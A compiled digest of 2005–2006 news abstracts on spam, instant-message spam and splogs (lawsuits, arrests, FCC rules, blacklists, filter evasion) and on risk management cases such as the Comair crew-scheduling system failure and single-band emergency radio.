An advanced spamming technique could push the volume of unwanted e-mail to new heights in coming months, straining the integrity of the online communication system, according to several top experts who monitor the activity of spam gangs around the world. Illegal bulk-mailers have been able to deploy massive blasts of spam by routing it through the computers of their Internet service providers (ISPs), rather than sending it directly from individual machines, the experts said. The result is that "blacklists" of known spamming computers -- which other network operators rely upon to block mail from those machines -- are no longer effective. To block spam coming directly from an ISP's computers, all mail from that ISP would be have to be blocked, which would cripple electronic communication. The new method of attack reflects the evolving sophistication and efficiency of top spamming groups, a community of people who support each other by trading intelligence, products and services. Some ISPs have been able to make dents in the amount of spam reaching the inboxes of computer users, but spam traffic over the Internet continues to rise and to exact steep costs on network operators, businesses and consumers.

Category 33.2 *Spam, spim, spit & splogs*

2005-02-09 **wireless domain spam free Federal Communications Commission FCC regulations working list disclosure**

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,119620,00.asp

LIST OF WIRELESS DOMAINS THAT CANNOT RECEIVE SPAM.

The U.S. Federal Communications Commission (FCC) took a major step this week toward fighting unwanted e-mail messages sent to wireless phones and pagers by publishing a list of wireless mail domain names. The FCC, which published the list late Monday, February 7, has ruled that starting in early March, it will be illegal to send most commercial messages to users of wireless phones with addresses that include any of the published domain names. Wireless spam, still limited in the U.S., has generated significant customer complaints in other countries including Japan and India. Senders who violate the FCC rules and send commercial e-mail to the wireless mail domains on the list face fines of up to $11,000 per violation. Scott Chasin, chief technology officer at MX Logic, an antispam software vendor said that the FCC list has one potential downside--it provides spammers with a working list of wireless mail domains. The list is available at: http://www.fcc.gov/cgb/policy/DomainNameDownload.html

---

Category 33.2 *Spam, spim, spit & splogs*

2005-02-09 **Microsoft Pfizer Viagra lawsuit suit spam e-mail scam**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A12618-2005Feb9.html

MICROSOFT AND PFIZER CAMPAIGN AGAINST SPAM

Microsoft and drug manufacturer Pfizer yesterday filed 17 lawsuits against various alleged spammers and Web-site operators that push fraudulent versions of drugs (especially Viagra). This is the first time an Internet service provider (Microsoft's MSN) has joined a major retailer to attack the entire supply chain of online scams. Pfizer attorney Marc Brotman says that one-fourth of all spam is related to pharmaceuticals, and that Pfizer suggested that it and Microsoft pool the two firms' investigative resources. (Washington Post 9 Feb 2005)

Category 33.2 *Spam, spim, spit & splogs*

2005-02-21 **spim arrest New York instant messaging MySpace.com extortion**

NewsScan; http://news.com.com/U.S.+makes+first+arrest+for+spim/2100-7355_3-5584574.html

FIRST SPIMMER ARREST

An 18-year-old New York teenager has become the first person to be arrested on suspicion of spimming. Anthony Greco allegedly sent 1.5 million messages hawking pornography and mortgages to users of MySpace.com's IM system, and was arrested in a sting operation in the Los Angeles Airport last Wednesday following an extortion attempt on his part. Greco believed he was flying to LA to seal a deal with the president of MySpace.com, whom Greco had threatened with publicizing his spim techniques if he were not granted an exclusive marketing arrangement that would have legitimized his spimming activities. Assistant U.S. Attorney Brian Hoffstadt says that while Greco's case marks the first criminal prosecution of instant message spamming, there may well be more to come: "We're just beginning to get the tip of the iceberg. This could be a new wave as online communities start up." (CNet News.com 21 Feb 2005)

Category 33.2 *Spam, spim, spit & splogs*

2005-02-21 **instant messaging spim statistics**

NewsScan; http://www.pewinternet.org/PPF/p/1052/pipcomments.asp

BATTLING THE SPIM-MEISTERS

Almost one in three instant-messaging users in the U.S. have received some kind of "spim" (unsolicited commercial instant messages), according to a survey by the Pew Internet & American Life Project. Results indicate that users age 30 and younger are more likely to get spimmed, compared with the next older age cohort (31-49). Other than the age discrepancy, however, no other demographic trends were discernible, says Pew: "Instant message users in all income brackets and in all racial and ethnic groups are equally likely to receive spim. Somewhat surprisingly, broadband users at home are no more likely than dialup users to receive spim, even though, presumably, those with always-on broadband connections keep their instant message programs running for longer periods of time than dialup users." The survey found that 52 million Americans -- 42% of the online population -- use instant messaging, and among the 30- and-under age group, it's 66%. (Pew Internet & American Life Project 21 Feb 2005)

Category 33.2 *Spam, spim, spit & splogs*

2005-02-23 **denial of service DoS spam blocker court appearance e-mail notice critical information reliability delivery**

RISKS; 23 75
http://news.lp.findlaw.com/andrews/pl/med/20050223/20050223barnes.html

SPAM-BLOCKER CAUSES MISSED COURT DATE

"A plaintiff's attorney in a wrongful-death lawsuit, who missed a court date because his firm's spam blocking software automatically sidetracked the court's e-mail notice, has narrowly escaped being sanctioned for failing to appear at the scheduled status conference…."

In a follow-up analysis, Joseph Brennan pointed out that such a sequence would require a number of errors. Either the lawfirm's spam software was set wrong and discarded blocked e-mail OR it diverted spam to a spam folder but the lawyer didn't look at the spam folder OR the spam-blocker bounced the "spam" but the court officers failed to note the bounce message and therefore did not follow up on the problem. In any case, Brennan was pretty sure there were human errors involved.

[MK adds: there is no specification for required delivery in any of the RFCs defining SMTP. No one should ever assume that e-mail has been delivered to its intended recipient without proof of such delievery.]

Category 33.2 *Spam, spim, spit & splogs*

2005-04-01 **spammer bankruptcy protection anti-spam law Microsoft lawsuit litigation**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4400335.stm

SPAMMER FILES FOR BANKRUPTCY PROTECTION

Scott Richter, proprietor of one of the world's best known spamming operations, said the company has been forced to file for bankruptcy protection. OptInRealBig.com has been the target of several lawsuits for violating antispam laws, including one lawsuit filed by Microsoft, which is seeking $46 million in damages. Spamhaus, an organization that monitors junk e-mail globally, ranks OptInRealBig.com third on its list of spam operations around the globe. The company is alleged to have sent billions of e-mail messages that appeared to come from hijacked return addresses, including those of the Kuwait Ministries of Communication and Finance, the Seoul Municipal Boramae Hospital, and the Virginia Community College System. In its announcement, OptInRealBig.com said that the ongoing lawsuits and possible damages have made it impossible for the company to "still run a viable business." An attorney for OptInRealBig.com said the company expects ultimately to prevail. BBC, 1 April 2005

Category 33.2 *Spam, spim, spit & splogs*

2005-05-09 **SPEWS spam prevention early warning system anti-spam Telewest customers e-mail address hijack zombies**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4528927.stm

ANTISPAM BLACKLIST TARGETS 900,000

Officials at the Spam Prevention Early Warning System (SPEWS) have placed e-mail addresses of 900,000 Telewest customers on its blacklist, saying that computers using those addresses may have been hijacked and used for sending spam. Many organizations use the SPEWS blacklists as e-mail filters--anything coming from an address on the list is blocked. Telewest acknowledged that some subscribers of its Blueyonder broadband service have had their computers compromised by computer viruses and turned into e-mail zombies. Company officials said they are working to contact those users with suspiciously high volumes of e-mail traffic to help them clean their machines. "As you can imagine," said a statement from the company, "[it] is a time-consuming task." Matt Peachey of antispam software firm Ironport said he doubts all of the blocked computers have in fact been turned into spam zombies by hackers. Peachey accused SPEWS of casting too wide a net in its blacklisting. BBC, 9 May 2005

Category 33.2 *Spam, spim, spit & splogs*

2005-05-09 **anti-spam Bayesian filters probabilitic methods countermeasures unsolicited commercial e-mail**

RISKS 23 88

SPAMMERS STRIVE FOR ORIGINALITY TO DECEIVE ANTI-SPAM FILTERS

Dan Wallach reported on his detailed analysis of how spammers are defeating sophisticated anti-spam filters: they are using attributes of normal mail and avoiding obvious characteristics of spam.

>Recently, I've gotten a number of spams that have perfect spelling and vanilla plain text (as opposed to the insane HTML ov3rki!! Variety). If you look at the mail headers, there's some evidence of zombie machines being used to transmit the spam (i.e., received lines not matching up to the From or Sender line) but otherwise the headers are quite clean. For the message in front of me right now, the user agent is even listed as Mozilla on Linux. DSPAM has a clever feature where it will tell you what factors in the message it used to make its decision. In this case, DSPAM latched onto the User-Agent string and other Mozilla-esque headers as having a very low probability of being spam. This outweighted a few strings that otherwise should have tipped it off (e.g., "credit history" or "secure, private").<

He concluded,

>In some sense, this is exactly what Paul Graham predicted would eventually happen in "A Plan For Spam". My hope is that I can eventually untrain DSPAM of its love for Mozilla headers; we'll see how well it does. My fear is that there will always be an avenue of attack for a "contrarian spammer" who engineers spam to be unlike all the other spams out there.<

Category 33.2 *Spam, spim, spit & splogs*

2005-05-12 **Boston spammer ring Internet Spam Gang Websites shut down court order civil suit**

DHS IAIP Daily;
http://www.boston.com/business/technology/articles/2005/05/12/judge_orders_spammers_websites_shut/

JUDGE ORDERS SPAMMERS' WEBSITES SHUT

A Massachusetts state Superior Court judge Wednesday, May 11, issued an emergency order to shut down dozens of Websites, as Massachusetts investigators working with Microsoft Corp. moved against what they described as a Boston-based ring of Internet spammers responsible for one of the world's most prolific spam operations. In a civil suit filed with the court Wednesday, state Attorney General Tom Reilly accused Leo Kuvayev and six other defendants with violating state and federal consumer protection laws by masterminding a global network of spammers who have sent hundreds of millions of e-mail messages directing recipients to Websites with names like oemcd.biz or genericpharmacies.biz. The messages, and the Websites, seek to lure consumers into buying low-interest mortgage loans, pirated software, knockoffs of designer watches, pornography, and counterfeit drugs of prescription brand names. Massachusetts and Microsoft officials said the spammers, whom they dubbed the "Internet Spam Gang," unleashed the largest volume of e-mail they've seen from one group. State officials have not brought criminal charges against the seven defendants.

Category 33.2 *Spam, spim, spit & splogs*

2005-07-07 **spammer Smith Rizler federal judge Burnsville Internet Xpress Pharmacy Direct drugs spam FBI court contempt jailed**

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2139427/spam−supremo−smith −sued

SUSPECTED SPAMMER SMITH SEIZED

Suspected spammer Christopher Smith, nicknamed the Rizler was arrested at a Minneapolis, MN airport shortly after stepping off a flight from the Dominican Republic, where he had been operating since a U.S. federal judge in May shut down his companies, Burnsville Internet and Xpress Pharmacy Direct, and ordered him to stop selling drugs online. Smith had since set up similar operations in the Dominican Republic, through which he is alleged to have sent more than a billion spam emails either to AOL email addresses or through AOL email accounts. The FBI claims that Smith has already made about $18 million this year. Federal authorities raided Xpress Pharmacy and Smith's home on 10 May, seizing his passport and $4.2m in assets, including a $1.1m house and luxury cars worth $1.8m. At the same time the FBI closed down his 85-employee company. Investigators concluded that Smith had been selling medicines to customers without proper prescriptions, and selling drugs without a licence. The U.S. Attorney's office claims that Smith had broken court orders and is recommending that he be held in criminal contempt and jailed for six months.

Category 33.2 *Spam, spim, spit & splogs*

2005-07-27 **anti-spam content filtering censorship political bias**

RISKS 23 95

ARE SOME ANTI-SPAM SERVICES CENSORING MAIL FOR POLITICAL REASONS?

Pete Klammer voiced concern over possible interference in the political process by corporations running anti-spam services.

>In the run-up to the 2004 election, I found activist messages about (against) Arnold Schwarzenegger were being screened by ACM's e-mail screening service controlled by Postini. I was only able to verify this, and retrieve my messages, because I had chosen the "quarantine" option, and checked the quarantine area soon enough, before the messages were permanently expunged.

Now we hear that messages regarding the Downing Street memos have been blocked from Comcast.net customers (one of the largest high-speed cable internet providers in the U.S.), based on content of the message -- a URL -- rather than subject line or sender address or domain.

The potential for (mis)information manipulation by large and powerful corporations is frightening, particularly as U.S. Law exempts them from "common carriage" legal requirements. We would never (I hope!) stand for our telephone company to redirect our flight-reservation phone call to a different airline "partner" company; why must we tolerate such distortion on the Internet?<

* * *

In a a follow-up response in RISKS 23.96, Craig A. Finseth expressed skepticism about Klammer's hypothesis: "Probably because you asked them to: Postini is an anti-spam service which provides mechanisms for you to control what is filtered (as well as a heck of a lot of stuff that they do for you). My ISP uses it and offers me full control over the amount of filtering done, including complete disabling."

Category 33.2 *Spam, spim, spit & splogs*

2005-08-04 **spam anti-spam efforts litigation ruling University of Texas White Buffalo Ventures student e-mail addresses CAN-SPAM Act**

EDUPAGE; http://insidehighered.com/news/2005/08/04/ut

COURT UPHOLDS UNIVERSITY BLOCK ON SPAMMER

A federal appeals court ruled in favor of the University of Texas (UT) in its dispute with White Buffalo Ventures over thousands of spam e-mails sent by the company to students of the institution. In 2003, White Buffalo, which operates an online dating service geared toward UT students, began sending thousands of messages to student e-mail addresses it had obtained through public records. After receiving many complaints from students, the university blocked White Buffalo's e-mails, a move the company said infringed on its First Amendment rights and its rights under the CAN-SPAM Act. A federal judge disagreed with White Buffalo, and the current ruling supports that decision. The three-judge panel of the appeals court found that the institution is within its rights to place restrictions on commercial speech if such restrictions can be shown to legitimately benefit constituents--in this case, UT's students. Observers noted that the court's rejection of White Buffalo's CAN-SPAM argument is important in that it presents a significant roadblock to organizations that would try to use the law to make it easier, rather than more difficult, to send unsolicited e-mail. Inside Higher Ed, 4 August 2005

Category 33.2 *Spam, spim, spit & splogs*

2005-08-10 **spam spammer Microsoft settlement Scott Richter New York**

EDUPAGE; http://www.nytimes.com/2005/08/10/technology/10spam.html

TOP SPAMMER SCOTT RICHTER SETTLES ON $7M PENALTY TO MICROSOFT

Microsoft has reached a settlement with Scott Richter, a man once described as one of the top three spammers in the world. Efforts by Microsoft and New York Attorney General Eliot Spitzer in 2003 resulted in the collection of 8,000 e-mail messages containing 40,000 fraudulent statements sent by Richter's company, OptInRealBig. Richter earlier agreed to pay New York State $50,000; under the new settlement, Richter will pay Microsoft $7 million. According to Bradford L. Smith, chief counsel for the software giant, $5 million would be used to "increase our Internet enforcement efforts and expand technical and investigative support to help law enforcement address computer-related crimes," while another $1 million will be spent on improving computer access for the poor in New York State. The settlement also requires Richter to comply with state and federal laws governing e-mail and to submit to oversight of his company's operations for three years. New York Times, 10 August 2005 (registration req'd)

Category 33.2 Spam, spim, spit & splogs

2005-10-13 **TechWorld spammer United States Sophos percent worldwide**

DHS IAIP Daily;
http://www.techworld.com/security/news/index.cfm?NewsID=4573

U.S. STILL WORLD'S TOP SPAMMER

Despite anti-spam laws the United States is still the world's top spammer. According to the latest report by Sophos, the US is still number one with 26 percent of all worldwide spam. However, the figure has been falling over the years. According to Graham Cluley, senior technology consultant for Sophos, "It has been lowering for awhile for a number of reasons. The anti-spam task forces and the authorities and the ISPs in North America are getting much better at putting into practice methods that are lowering the amount of spam."

Category 33.2 Spam, spim, spit & splogs

2005-10-25 **spam plague PC users Security holiday shoppers viruses IM hackers viruses**

DHS IAIP Daily; http://www.usatoday.com/tech/news/computersecurity/2005−
10−2
5−holiday−spamalanche_x.htm

PROJECTED INCREASE IN SPAM, SPIM & SPLOGS WILL PLAGUE PC USERS

Internet security experts are warning consumers of a wave of unwanted commercial e-mail in the weeks leading up to Thanksgiving, when the amount of spam could double as marketers try to reach holiday shoppers. The increase in spam is also due to the fact that more viruses are being spread by instant-messaging (IM) services that infect PCs and then turn them into zombies - machines that are remotely controlled by hackers to spread spam and more viruses. According to Andrew Lochart, director of product marketing at e-mail security company Postini, attacks on IM services increased 350 percent, to 541, in the second quarter from the previous quarter. Spammers are resorting to IM attacks because consumers use software to defend PCs from e-mail-based viruses, and "there isn't much in terms of anti-virus software for IM," he says. In addition, spammers are sending more e-mail in shorter bursts to overwhelm spam defenses. Blogs have also been penetrated by spammers to create "splogs," which are fake blogs with ads. According to Blake Rhodes, CEO of blog search engine IceRocket.com, about ten percent of the blogs created each day are considered splogs.

Category 33.2 Spam, spim, spit & splogs

2005-10-26 **spam spim splog spam-blogs fraud search engine distortion hacking GOOGLE**

RISKS; http://tinyurl.com/9498r 24 09

SPAM, SPIM, SPIT AND NOW -- SPLOGS!

Spam, long the scourge of email users, rapidly has become the bane of bloggers too.

Spammers have created millions of Web logs to promote everything from gambling Web sites to pornography. The spam blogs -- known as "splogs" -- often contain gibberish, and are full of links to other Web sites spammers are trying to promote. Because search engines like those of Google Inc., Microsoft Corp. And Yahoo Inc. Base their rankings of Web sites, in part, on how many other Web sites link to them, the splogs can help artificially inflate a site's popularity. Some of the phony blogs also carry advertisements, which generate a few cents for the splog's owner each time they are clicked on.

The phony blogs are a particular problem for Google, Microsoft and Yahoo because each offers not only a Web search engine focused on providing the most relevant results for users but also a service to let bloggers create blogs.

Just this past weekend, Google's popular blog-creation tool, Blogger, was targeted in an apparently coordinated effort to create more than 13,000 splogs, the search giant said. The splogs were laced with popular keywords so that they would appear prominently in blog searches, and several bloggers complained online that that the splogs were gumming up searches for legitimate sites….

[Excerpt from David Kesmodel's article in Wall Street Journal provided by Monty Solomon]

Category 33.2 Spam, spim, spit & splogs

2005-10-27 **zombie spammer Microsoft Internet Safety hunt junk e-mail CAN-SPAM FTC**

DHS IAIP Daily;
http://www.securitypipeline.com/news/172901034;jsessionid=Y2YXYNET4ZPCEQSNDBCSKH0CJUMEKJVN

MICROSOFT HUNTS FOR ZOMBIE SPAMMERS

Microsoft is investigating 13 spam operations it believes sent millions of junk mail messages through a single PC that the company purposefully set up as a "zombie," the company said Thursday, October 27. Tim Cranton, the director of Microsoft's Internet Safety division said, "By inserting ourselves in the spammers' path and looking upstream, we have been able to see things we have never been able to see before." The action was coordinated in conjunction with the Federal Trade Commission (FTC) and Consumer Action, a San Francisco-based advocacy group, to identify spammers. Spam operators working in the U.S. could be prosecuted under the federal CAN-SPAM Act. Cranton said, "Hopefully, we'll be able to turn over the results of our investigation for criminal prosecution under CAN-SPAM…We need to take a few more steps, but in the next two to three months, I think we can name these spammers." A new federal Website can be accessed for consumers to access information on protecting their PCs. Website: http://onguardonline.gov/index.html

---

Category 33.2 Spam, spim, spit & splogs

2005-11-23 **lawsuit litigation anti-spam Verizon Wireless unsolicited text messages**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1892707,00.asp

VERIZON WIRELESS SUES ANOTHER SPAMMER

Unwanted text messages from a Florida-based travel company were sent recently to 98,000 Verizon Wireless customers, according to a new lawsuit filed by the operator. Even though cell phone spam is still relatively limited, it's nonetheless forcing operators to get a handle on it since their subscribers often pay a fee for each incoming message. "Electronic attacks upon the Verizon Wireless interstate text messaging network will continue; indeed the latest attack was just weeks ago," Verizon attorneys wrote in the suit filed Monday, November 21, in a U.S. District Court in New Jersey. In this particular case, Verizon Wireless alleges that Passport Holidays LLC, of Ormond Beach, FL, sent unsolicited text messages to about 98,000 Verizon Wireless subscribers in the latter part of October. The lawsuit accuses Passport Holidays of using an automated dialer to send the text messages to phones in three East Coast area codes.

Category 33.2 Spam, spim, spit & splogs

2005-11-28 **FTC report spam e-mail filters improving anti-spam**

DHS IAIP Daily; http://today.reuters.com/news/NewsArticle.aspx?type=internetNews&storyID=2005−11−28T211837Z_01_SPI876594_RTRUKOC_0_US−SPAM.xml

FEDERAL TRADE COMMISSION: SPAM E-MAIL FILTERS GETTING BETTER

E-mail spammers are aggressive as ever but Internet providers are getting better at blocking junk messages before they reach users' inboxes, according to a U.S. Federal Trade Commission (FTC) study released on Monday, November 28. The FTC found that spammers continue to "scrape" e-mail addresses from the Web using automated programs that look for the telltale "@" sign. But up to 96 percent of those messages were blocked by the two Web-based e-mail providers used by the FTC in its test. The FTC did not say which providers it used in its study. "This encouraging result suggests that anti-spam technologies may be dramatically reducing the burden of spam on consumers," the report said. The FTC noted that Internet providers still must bear the burden of filtering out those messages. FTC Press Release: http://www.ftc.gov/opa/2005/11/spam3.htm FTC Spam study: http://www.ftc.gov/opa/2005/11/spamharvest.pdf

---

Category 33.2 Spam, spim, spit & splogs

2005-12-21 **CAN-SPAM Act legislation law FTC report Congress effectiveness legal action content filtering junk e-mail education recommendations**

EDUPAGE; http://www.theregister.co.uk/2005/12/21/can-spam/

FTC SAYS CAN-SPAM WORKING

The Federal Trade Commission reported to Congress on the effectiveness of the CAN-SPAM Act, concluding that legal action against spammers and improved e-mail filtering have reduced the amount of junk e-mail reaching consumers. The agency has filed 21 lawsuits under CAN-SPAM. Recommendations include passing new laws to help regulators trace spammers and sellers outside the United States, better user education on spam prevention, and continued improvement in filtering tools and techniques.

Category 33.2 *Spam, spim, spit & splogs*

2006-01-05 **spam anti-spam litigation judgment CAUCE Iowa ISP Florida spammer**

DHS IAIP Daily; http://www.press−citizen.com/apps/pbcs.dll/article?AID=/2006 0105/NEWS01/601050310/1079

IOWA COMPANY WINS $11 BILLION SPAM JUDGMENT

A Clinton, IA-based Internet service provider was awarded an $11.2 billion judgment against a Florida man for sending millions of unsolicited e-mails advertising mortgage and debt consolidation services. The lawsuit, filed in 2003 by CIS Internet Services owner Robert Kramer III, also prompted earlier judgments against companies in Florida and Arizona worth more than one billion. The most recent judgment was issued Friday, December 23, against James McCalla of Florida, who is also barred from accessing the Internet for three years. The lawsuit claimed that McCalla sent more than 280 million illegal spam e-mails into CIS's network, which provides Internet connections in Eastern Iowa and parts of Illinois. Kramer's lawsuit initially named numerous defendants, many of whom were dropped from the lawsuit the last couple years. John Mozena, co-founder and vice president of Coalition Against Unsolicited Commercial E-mail (CAUCE), said Kramer's lawsuit will likely not solve the spamming problem. He said, "There have been regulatory actions and even criminal actions against spammers, but it has not made much of a dent in the total volume of spam we see...Spam is still roughly two-thirds of all e-mail on the Internet."

Category 33.2 *Spam, spim, spit & splogs*

2006-01-13 **anti-spyware coalition ASC group guidelines**

DHS IAIP Daily; http://www.theregister.co.uk/2006/01/13/anti_spyware/

ANTI-SPYWARE GROUP DEFINES DETECTION GUIDELINES

The Anti-Spyware Coalition (ASC), an alliance of software companies, security firms and consumer organizations, has agreed a set of guidelines on detecting invasive finalized spyware. The final draft of the ASC's "risk-modeling description" aims to give an objective criteria on whether a program is malign. A draft of this description was thrown open for public comment in October and the final version that's emerged is essentially an expanded and polished version. The group defines spyware and other potentially unwanted technologies as deployed without appropriate user consent and/or implemented in ways that impair user control over: material changes that affect their user experience, privacy, or system security; use of their system resources, including what programs are installed on their computers; and/or collection, use, and distribution of their personal or other sensitive information. In addition, ASC finalized the list of speakers for its first public meeting which is due to take place on Thursday, February 9, at the Hyatt Capitol Hill in Washington, DC. Federal Trade Commission (FTC) Chairman Deborah Platt Majoras will keynote at the single day event, which will also feature federal regulators, and top state technology and law enforcement officials.

Category 33.2 *Spam, spim, spit & splogs*

2006-01-30 **study small businesses four times more spam**

DHS IAIP Daily; http://www.smallbizpipeline.com/showArticle.jhtml?articleID=177105260

SMALL BUSINESSES GET FOUR TIMES THE SPAM OF LARGER ENTERPRISES.

Small companies were sent almost 50 spam e-mails per day per user in 2005, up from 36 in 2004. This represents four times the number that employees at large companies were sent daily on average last year (12 per user per day in 2005 versus three in 2004). This is according to an annual report by Postini, a provider of message management solutions. The reason for this is that smaller businesses are more prevalent in targeted industries such as publishing, advertising, legal, and real estate, according to Andrew Lochart, senior director of marketing at Postini. "These are industries where you have 100 percent white collar workers whose e-mail addresses are very well known in the world," said Lochart. Another theory is that spammers may presume that larger companies are able to afford strong anti-spam measures, and may not try to infiltrate them as frequently, said Lochart. "What makes it a problem, regardless of why, is that smaller companies are the ones who have fewer defenses in place," said Lochart. "There are no large dedicated IT staffs in place, or large budgets for technology, so it's a double whammy." Postini original press release: http://www.postini.com/news_events/pr/pr013006_tr.php Postini's Annual Message Management and Threat Report: http://www.postini.com/whitepapers/?WPID=36

Category 33.2 Spam, spim, spit & splogs

2006-03-28 **MIT 2006 Spam Conference e-mail problems security antispam CAN-SPAM**

EDUPAGE; http://news.com.com/2100-7348_3-6055171.html

MIT CONFERENCE ADDRESSES E-MAIL PROBLEMS

Attendees at the 2006 Spam Conference at MIT agreed that filters and other technologies designed to prevent spam from reaching its intended targets merely address the symptoms without doing anything about the underlying problem. Many were similarly dismissive of proposals to charge a fee to senders of e-mail, saying that such an approach runs counter to the fundamental tenets of the Internet. Phil Raymond of Vanquish Labs compared a fee system to having first class and cattle cars on a train, suggesting that "some of [the cattle] cars will be left behind completely." Presenters at the conference instead urged adoption of economic incentives that would encourage users to be good e-mail citizens. Raymond, for example, proposed a system under which bulk e-mailers would be required to post a bond, against which recipients of those e-mails could make claims if they deemed messages to be spam. Opinions were mixed, however, about the CAN-SPAM Act. Jon Praed of the Internet Law Group said the legislation has done little to discourage spammers while placing new burdens on legitimate e-mail marketers. In contrast, Aaron Kornblum, a member of Microsoft's antispam legal team, said the law was the basis for 70 civil lawsuits that Microsoft has filed against spammers since January 1, 2004.

Category 33.2 Spam, spim, spit & splogs

2006-04-21 **China to overtake US spam source**

DHS IAIP Daily;
http://www.channelregister.co.uk/2006/04/21/spam_relay_hotlist/

CHINA POISED TO PINCH U.S. SPAM CROWN.

China is closing in on the U.S. at the top of a league of spam relaying countries. According to statistics from security firm Sophos, China originated 21.9 percent of the junk mail messages captured in its spam traps compared to 23.1 percent for the U.S. Two years ago, the U.S. accounted for half of all spam sent in the world, a figure that has now dropped to less than a quarter, thanks to crackdowns against spammers and better information sharing among ISPs.

33.4 Risk analysis & management

Category 33.4 *Risk analysis & management*

2005-04-05 **risk management perception publicity public relations comments explanation clarity taking responsibility stupidity blame**

RISKS 23 83

RISK MANAGEMENT: GOOD VS STUPID RESPONSES TO DISASTERS

Michael "Streaky" Bacon published an excellent analysis of good vs stupid public response to disasters or near disasters:

Air disasters receive widespread press coverage. Crashes often cause people to cancel bookings with the affected airline. The share price often dips, sometimes severely, in the aftermath of an air accident.

This is also true for many other major incidents involving corporations (i.e., not 'natural' causes).

One thing often stands between a 'crisis of confidence' and 'business as usual', and that is the credibility of the organisation's spokespeople.

On 3 April, a Phuket Air 747 was twice forced by passenger action to abort a take-off from the UAE when fuel was seen flowing from the wing over an engine as the plane accelerated down the runway. A UK-based spokesman for the airline told the media that no-one had been in any danger and claimed that passengers had "panicked". He is also reported to have said that passengers were not qualified to judge what was safe or not. He said that the wing tanks had been "over-filled".

Whilst I do not comment upon the accuracy or otherwise of the spokesman's comments, I will comment on their advisability and I do suggest that this is not a good way to manage risk.

It is reported that many passengers have now refused to fly any further with the airline.

A contrast in risk management is provided by one British airline that suffered two 'incidents' with the same type of aircraft some nine years apart. In the first, the aircraft crashed with tragic loss of life following the (erroneous) shutdown of one engine and loss of power on the other (faulty) engine during an emergency landing. The Chairman of the airline was interviewed at the scene and with tears in his eyes promised to find out what had happened and to take every possible step to prevent its recurrence. The share price was not much affected, neither were bookings. The second incident concerned the loss of oil pressure in both engines shortly after take-off - leading to the shut-down of both engines and a successful 'dead-stick' landing. The loss of oil was caused by a maintenance failure. The airline put the 'Director of Engineering' (or similar title) in front of the media, and he attempted to explain away the incident as a problem with their maintenance company. It was reported at the time that passengers subsequently canceled bookings and the stock price fell.

The 'what', the 'way' and the 'how' of the Chairman were believable, those of the Director were not.

The RISK is in getting the wrong person to say the wrong thing. Effective crisis management involves the right thing by the right person at the right time in the right way to the right people.

[The first case is that of a British Midland 737-400 (RISKS-11.42). PGN]

Category 33.4 *Risk analysis & management*

2005-04-07 **credit card loss company agent training awareness confidentiality breach policy procedure stupidity identity theft**

RISKS 23 84

NO PROBLEM! BANK OF AMERICA AGENT REVEALS PERSONAL DETAILS TO FINDER OF LOST VISA CARD

When Caskey L. Dickson's wife reported a lost VISA card that she found, the Band of America agent on the support line cheerfully informed her -- without her asking -- of the owner's home phone number and billing address plus the fact that the card had not been reported stolen.

Despite the honest lady's protests that she did not need to know these things, the agent flippantly dismissed her concerns about identity theft with "Oh, that's not a problem."

Category 33.4 *Risk analysis & management*

2005-05-01 **risk management legacy systems denial of service failure software quality assurance replacement system failure**

RISKS; http://www.cio.com/archive/050105/comair.html 23 87

COMAIR EXECUTIVES DELAYED REPLACING LEGACY SYSTEM THAT FAILED

Stephanie Overby, writing in CIO magazine, analyzed the COMAIR disaster of December 2004. "[T]he legacy system [for managing flight crews] failed, bringing down the entire airline, canceling or delaying 3,900 flights, and stranding nearly 200,000 passengers. The network crash cost Comair and its parent company, Delta Air Lines, $20 million, damaged the airline's reputation and prompted an investigation by the Department of Transportation."

The details were as follows:

"As it turned out, the crew management application, unbeknownst to anyone at Comair, could process only a set number of changes—32,000 per month—before shutting down. And that's exactly what happened. On Christmas Eve, all the rescheduling necessitated by the bad weather forced the system to crash. As a result, Comair had to cancel all 1,100 of its flights on Christmas Day, stranding tens of thousands of passengers heading home for the holidays. It had to cancel nearly 90 percent of its flights on Dec. 26, stranding more. There was no backup system. It took a full day for the vendor to fix the software. But Comair was not able to operate a full schedule until Dec. 29."

All of this trouble could have been avoided had the warnings dating back to 1997 been heeded about the need to upgrade the then-11-year-old system, which was running on outdated hardware. The rest of the article goes into extensive detail about the management failures responsible for the debacle.

Category 33.4 *Risk analysis & management*

2005-09-11 **emergency management communications frequency bands risk analysis vulnerability politicians stupid pronouncements lack experience naïve elementary mistakes denial of service DoS vulnerability bandwidth saturation jamming disaster**

RISKS 24 04

POLITICIANS USUALLY AMATEURS AT EMERGENCY MANAGEMENT

It is sad that politicians start to believe that they know how to solve technical problems. One such sad case was Rudy Giuliani's pronouncement today that a single frequency (then frequency band) for all emergency services would make things work better. Now I am hardly the world's leading expert on radio frequency spectrum allocation, but I do have some small amount of experience in understanding radio communications and emergency response, and I was startled, well not all that startled, perhaps bemused at the lack of understanding displayed by people who are not risk management professionals. Of course it seems that a lot of political folks think that they can do as good a job as risk management professionals, and likely that is why we are in such a sad state as a nation state at handling emergencies. I haven't done a complete assessment of the suggestion, but here are some initial thoughts.

The idea is that communications will work better if everyone can talk to each other and therefore a single frequency band would allow them to do so and improve emergency communications. Sounds sensible, however…

1) It means that in order to disrupt ALL emergency communications I only need to jam one frequency band.

2) Different natural and artificial phenomena interfere with RF communications in different frequency bands, so by using a relatively limited portion of the available bandwidth, there is a guarantee that in some places no communications will work.

3) If I want to listen into your communications, it makes it a lot easier if I know the frequencies being used, and if everyone has to talk to each other, then anyone can listen to everyone else. Encryption won't solve this of course for the same reason.

4) If there is a big emergency and everyone is on a small subset of the bands available, there will be a lot of interference, reducing communications effectiveness.

5) Certain weather and other human induced conditions wipe out portions of the frequency band for periods of time, making ALL communications fail simultaneously (see 1 above).

6) Interference between jurisdictions means that dispatchers in one jurisdiction might end up talking over those of their neighbors, causing confusion and more traffic problems as well as increasing the potential for phony messages going on the air.

You all get the idea by now. Of course the last assessment I did that involved a radio communications system for a local government was several weeks back, and we were a bit concerned that they only had 3 redundant ways to communicate via RF - Car radios that talk to towers in redundant locations - hand-held radios on a different frequency range that could talk to the towers, the cars, and each other independently of the other tower system, and cellular telephones that they could use when the other systems failed. They also reported problems of interference on rare occasions with the frequencies used by neighboring jurisdictions (see 6 above), but only in certain locations where they could communicate over quite a long distance because of weather-related signal bounces off of clouds.

